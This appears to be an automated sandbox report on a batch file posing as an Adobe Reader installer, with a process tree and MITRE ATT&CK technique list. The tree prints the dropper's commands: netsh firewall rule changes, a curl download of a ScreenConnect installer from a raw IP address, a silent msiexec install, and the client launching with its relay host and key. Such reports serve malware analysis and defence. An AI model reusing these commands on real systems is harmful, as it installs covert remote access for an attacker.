    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Adobe_installer_readerx.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4284
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - Executes a command shell one-liner
    PID:3568
- - C:\Windows\system32\where.exe
    where msiexec
    3⤵
    PID:4008
- - C:\Windows\system32\where.exe
    where powershell
    3⤵
    PID:5900
- - C:\Windows\system32\where.exe
    where curl
    3⤵
    PID:3352
- - C:\Windows\system32\sc.exe
    sc query "msiserver"
    3⤵
    - Launches sc.exe
    PID:2324
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Outbound"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:792
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Inbound"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="ScreenConnect Server Port"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4288
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1436
- - C:\Windows\system32\where.exe
    where curl
    3⤵
    PID:5400
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_4235_08.18\ScreenConnect.ClientSetup.msi" "http://192.227.128.184:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" --connect-timeout 240 --max-time 1800 --retry 10 --retry-delay 20 --retry-max-time 1200 --show-error
    3⤵
    PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$ErrorActionPreference='SilentlyContinue'; try { $msi = New-Object -ComObject WindowsInstaller.Installer; $db = $msi.OpenDatabase('C:\Users\Admin\AppData\Local\Temp\ScreenConnect_4235_08.18\ScreenConnect.ClientSetup.msi', 0); exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "ScreenConnect.ClientService.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "ScreenConnect.WindowsClient.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:880
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "ScreenConnect.Client.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3424
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "ScreenConnect.Service.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:260
- - C:\Windows\system32\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5540
- - C:\Windows\system32\msiexec.exe
    msiexec /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_4235_08.18\ScreenConnect.ClientSetup.msi" /quiet /qn /norestart ALLUSERS=1 REBOOT=ReallySuppress /l*v "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_4235_08.18\install_log.txt"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3520
- - C:\Windows\system32\timeout.exe
    timeout /t 60 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2>nul | findstr "HKEY_LOCAL_MACHINE"
    3⤵
    - Executes a command shell one-liner
    PID:4132
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect"
      4⤵
      PID:2964
  - - C:\Windows\system32\findstr.exe
      findstr "HKEY_LOCAL_MACHINE"
      4⤵
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2>nul | findstr "HKEY_LOCAL_MACHINE"
    3⤵
    - Executes a command shell one-liner
    PID:260
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect"
      4⤵
      PID:2364
  - - C:\Windows\system32\findstr.exe
      findstr "HKEY_LOCAL_MACHINE"
      4⤵
      PID:4548
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\ScreenConnect"
    3⤵
    PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7348,i,4926423050574015293,712829373599264062,524288 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:14
  2⤵
  PID:1424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6424,i,12091019756091085756,4443505197515322907,262144 --field-trial-handle=2272,i,12376186421642528818,12952057842656838678,262144 --variations-seed-version --mojo-platform-channel-handle=816 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2488

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4576

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2556
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 923A0101DCD422A0AC89130A86838E79
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4716
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI679.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240781187 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4696
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D2349153EEF1ABF4C1925DD1623FFE8A E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2860

C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=192.227.128.184&p=8041&s=f4ab79a3-0321-4eae-a333-b917a153a6db&k=BgIAAACkAABSU0ExAAgAAAEAAQDNCgiNwUUYaTj%2fNmPdvV36Cq5CBIzwdaTbFD6zU3K1gEVq6gWdDFfkdSkP1uUwThfHRB33jBmEkwKlj70bf1QoJbqwRTrBcTopcJldEMrTp56gltoe9B67eJGRt4hbvlrTOGRKh4C1HSYlP4tLb576E1cvZfa6uk5%2bVmQ64sOXyKExRCXPu6W3bMau2LbPXS%2fpmJq80w%2bUk%2f8hkWE4YKAi98VyeSE1a1PYjlTuYaScDYxT0YUFdjSxxtRj64Io7cF2rKteIOJxn6SpV%2fb2dAjk5VXZR71DXFiQtWwtYrqlZZhialbHxXNQarKzmuJn11nly0PUycOLJUrk%2flOCPky7"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5560
- C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe" "RunRole" "f2defec7-1d03-475c-b01d-a565356630de" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:880
- C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (cb7c65bdb18c620d)\ScreenConnect.WindowsClient.exe" "RunRole" "a10220e6-cee9-40f4-b4b1-a5c083752d31" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:4836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery